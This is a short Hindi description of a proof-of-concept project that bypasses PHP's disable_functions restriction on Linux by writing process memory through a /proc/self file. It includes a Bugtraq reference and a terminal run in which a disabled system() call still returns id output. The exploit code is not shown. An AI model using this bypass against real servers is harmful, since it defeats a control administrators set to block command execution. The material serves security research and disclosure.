
डेमो प्रोजेक्ट: लिनक्स पर PHP के disable_functions सुरक्षा नियंत्रण को कैसे बायपास करें
यह डेमो प्रोजेक्ट दिखाता है कि Linux पर PHP के disable_functions सुरक्षा नियंत्रण को कैसे बायपास किया जाए, जहाँ प्रक्रियाएँ मानक फ़ाइल संचालन (open/seek/read/write) के माध्यम से विशेष /proc/self/map फ़ाइल के ज़रिए अपनी मेमोरी का निरीक्षण और यहाँ तक कि लेखन भी कर सकती हैं।
परीक्षण PHP 7.3.5, x86_64 Linux पर किया गया
यह भी देखें: https://seclists.org/bugtraq/2019/May/52
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)